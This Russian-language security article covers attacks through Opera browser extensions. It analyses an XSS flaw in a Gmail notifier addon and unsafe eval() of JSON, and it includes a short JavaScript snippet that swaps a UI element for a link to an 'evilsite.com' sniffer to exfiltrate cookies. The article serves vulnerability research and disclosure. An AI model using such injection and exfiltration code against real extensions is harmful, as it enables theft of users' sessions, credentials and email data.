Через расширения браузеров можно провести немало знакомых нам атак. Сегодня в поле нашего зрения сверхпопулярный в СНГ браузер Opera. Поддержка аддонов в нем появилась недавно, но от этого задача только интереснее! …
Чтобы упростить жизнь разработчиков и сделать процесс создания расширений максимально прозрачным и удобным, создатели браузеров предлагают использовать привычные для нас веб-технологии для разработки браузерных аддонов. Это дает эффект: все новые плагины появляются как грибы после дождя. Но у такой простоты есть и обратная сторона медали — возможные риски в безопасности, которые во многом нам уже знакомы в аспекте исследования обычных веб-приложений. Браузер Opera, разработчики которого непростительно долго отказывались от системы расширений, наконец-то обзавелся таким механизмом. Справедливости ради стоит отметить, что к этому моменту в Opera уже была технология виджетов (но многие ли этими виджетами пользуются?) и система пользовательских скриптов. После найденных уязвимостей в аддонах для Chrome мне было крайне интересно пощупать расширения и для Opera. Но для этого пришлось разобраться в структуре этих самых расширений.
Аддоны изнутри
Расширения в Opera очень похожи на аналогичное решение в Google Chrome. При их создании также используются популярные веб-технологии, такие как HTML, CSS и JavaScript, а сами по себе они базируются на давно используемой при создании виджетов спецификации W3C Widgets specification. Эта архитектура достаточно подробно описана в статье Криса Милса «What's in an Opera extension?" ( http://bit.ly/k5WkoL ). Нам же для понимания материала хватит знания некоторых основных моментов о структуре аддонов. Обычно расширение в Opera состоит из следующих частей (некоторые из них опциональные):
• фоновая страница (обычно index.html) и сопутствующие скрипты – это движок расширения;
• страница всплывающего окна, которое появляется, когда ты кликнешь на кнопке аддона в тулбаре веб-браузера;
• JavaScript-скрипты и CSS-стили для выполнения в соответствии с определенными правилами в произвольных, посещаемых тобой веб-страницах (например, скрипт, который заменяет все ссылки «mailto:» на соответствующий обработчик твоего любимого почтового сервиса);
• файл конфигурации config.xml (подобно manifest.json в Google Chrome) – в этом файле указывается мета-информация о расширении: название и описание, информация об авторе, политики безопасности и другое;
• страница настроек аддона – для того чтобы расширение могло сохранять пользовательские настройки.
Эти главные составляющие расширения взаимодействуют между собой посредством специального механизма сообщений:
Внедряемый скрипт <-> Фоновый процесс <-> Кнопка/Бейдж <-> Всплывающее окно
Все эти части, за исключением элемента «Кнопка/ Бейдж», имеют доступ к «своему» специальному Opera Extensions API со следующими правилами:
• Из фоновой страницы доступны объекты window.widget, opera.extension и opera.contexts – в этих рамках можно делать все что угодно, например, создавать элементы пользовательского интерфейса. Но при этом у тебя нет прямого доступа к содержанию открытой пользователем страницы.
• Внедряемые скрипты имеют полный доступ к содержимому посещаемых пользователем страниц (чтение и
модификация) и они могут общаться с другими частями расширения через упомянутый выше механизм сообщений.
• Страницы всплывающих окон могут общаться с другими частями расширения, работать с настройками аддона и т.д.
XSS
При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмем для примера расширение для оповещения о новых письмах Google Mail Notifier. Удивительно, но, как и в подобном расширении для Google Chrome, тут нашлась уязвимость — небезопасное использование входных данных, которое может привести к атакам вида XSS. В нашем случае злоумышленник посылает жертве специальным образом сформированное письмо со зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо, а расширение оповестит его об этом, сработает нагрузка.
В силу используемых технологий исходный код расширения, как правило, доступен. Чуть поковырявшись, находим в исследуемом аддоне уязвимый участок кода (js/menu.js):
...
// Check if there are Messages to display
(event.data.msg && event.data.msg.length > 0)
{
// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'xp><u>" +
lang.popup_to + " " + event.data.msg[i].sendermail + "</uxbr/>" + lang.popup_from + " " + event.data.msg[i] .authormail + "<br/xbr/x/pxp>" + event.data.msg[i] .summary + "</p>"
var msg = $(' <divx/div>').addClass('message').attr( "title", tooltip).tooltip({ left: -15
})
.html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click(
{
link: event.data.msg[i].link }, LoadLink);
$('#message_box').append(msg);
...
Явно видно, что при формировании списка писем соответствующие параметры письма используются безо всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) — это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация о непрочитанных электронных письмах. ИМХО, в реальном мире при аудите безопасности расширения этими сценариями не стот ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JS0N! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval(), например, вот так:
var msg = eval("(" + response_text + ")");
Вместо того чтобы использовать специальное API для разбора JSON-сообщений:
var msg = JSON.parse(response_text);
В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечет более тяжкие последствия.
Потенциальные цели
Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кукисов. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кукисов веб-браузера (как это сделано в Google Chrome), а у каждого расширения — как бы свои собственные кукисы. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:
• собственно кукисы самого расширения, потому как в большом количестве случаев с социальными расширениями, там хранится все тот же сессионный идентификатор;
• настройки расширения, доступные через объект widget.preferences – например, там могут быть имя пользователя и пароль, как в случае расширения для работы с популярным сервисом Reddit Envelope;
• контекстная информация – в нашем примере с Google Notifier -это данные (адреса, темы и другое) писем жертвы;
• банальный «фишинг» – даже в ограниченном контексте злоумышленник может использовать рассматриваемую уязвимость для фишинг-атак (см. скрин)
Как передавать данные
Обычно, для того чтобы передать данные со стороны жертвы, злоумышленник использует так называемый снифер. К примеру, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдет в силу политики безопасности, о чем недвусмысленно говорит документация:
Исходя из политики по умолчанию, агент пользователя (например, веб-браузер) должен запрещать доступ к сетевым ресурсам, внешним по отношению к виджету, независимо от того, каким образом этот доступ запрашивается – через API-функции (например, XMLHttpRequest) или через разметку документа (например, с помощью тегов iframe, script, img).
Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам, прописанные в файле конфигурации:
...
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...
Элемент <access> дает возможность авторам расширений явным образом обозначить, с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется даже просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции! Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть два момента, которые стоит учитывать злоумышленнику в рамках XSS-атаки:
• автор расширения может указать звездочку (*) в качестве значения «origin» для того, чтобы его расширение имело неограниченный доступ к сетевым ресурсам;
• атрибут «subdomains» регулирует доступ для субдоменов указанного домена («привет»-блоги и прочие социальные ресурсы с пользовательскими субдоменами).
Но есть и другой трюк, который мы можем провернуть — можно сделать ссылку или другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдет на сайт злоумышленника, последний получит
требуемые данные. Например, в следующем коде показано, как можно заменить произвольный элемент интерфейса, чтобы запутать пользователя и заполучить кукисы:
//...
var а = document.createElement('а');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);
Взаимодействие расширений и безопасность
В противовес Google Chrome, Opera не позволяет расширениям явным образом взаимодействовать между собой. У меня было предположение, что внедряемые скрипты, будучи развитием популярной технологии пользовательских скриптов UserJS, все-таки могут взаимодействовать через общий документ, в который они внедряются:
Пользовательские JavaScript-скрипты выполняются в глобальном окружении – это означает, что все объявленное в скрипте будет доступно в рамках веб-страницы. Учитывая это, рекомендуется помещать основной код скрипта в тело анонимной функции для того, чтобы явным образом ограничить доступность данных скрипта в рамках веб-страницы.
Но судя по всему, разработчики Opera решили подкрутить безопасность. У меня не получилось добиться того, чтобы из одного внедренного скрипта прочитать данные (значения переменных) другого, загруженного перед ним в рамках общего DOM. Ни одна попытка не оказалась удачной. Получается, что остается только одна потенциальная возможность навредить из одного расширения другому — подпортить страницу, с которой оба аддона взаимодействуют.
Outro
Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome. Более того, даже уязвимости в них встречаются практически идентичные.
В то же время, в силу изначально закрученных гаек в подсистеме безопасности, либо попросту из-за того, что что-то из критичной функциональности (доступ к кукисам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее эксплуатировать найденные в расширениях Opera уязвимости. Но тут не стоит забывать, что система аддонов этого браузера еще молодая и постоянно изменяется, в том числе под напором просьб разработчиков. Так что кто знает, что и как будет устроено через некоторое время.
З.Ы. На закуску – пользовательские скрипты в Opera
Технология пользовательских скриптов (UserJS), про которую ты наверняка уже слышал и даже применял, позволяет пользователю подключать к произвольным страницам, которые он посещает, свои JavaScript-скрипты. Эти скрипты будут исполнены веб-браузером перед загрузкой целевой страницы прямо в ее контексте (это очень важно). Пользовательские скрипты могут быть использованы для разных целей:
• «вырезание» надоевшей рекламы на любимом ресурсе;
• добавление произвольного HTML-кода на страницу (например, виджеты социальных сетей);
• исправление каких-либо мест (которые достав¬ляют неудобства) на странице;
• для чего угодно в рамках текущего документа и возможностей JavaScript.
Для примера приведу следующий небольшой скрипт, который выделит на странице все ссылки, которые ведут на домен, отличный от текущего:
// ==UserScript==
// @include http://example.com/*
// ==/UserScript==
(function ()
{
var links = document.getElementsByTagName('a');
for(var i = 0; i<links.length; i++) {
if (links[i].href.indexOf('http://' + document.domain) !=0) { links[i].innerText = '[->] ' + links[i].innerText;
}
}
})();
Обрати внимание на необязательную, но весьма полезную шапку скрипта, в которой можно указать описание сценария, а также некоторые параметры (к примеру, для каких доменов его необходимо подключать).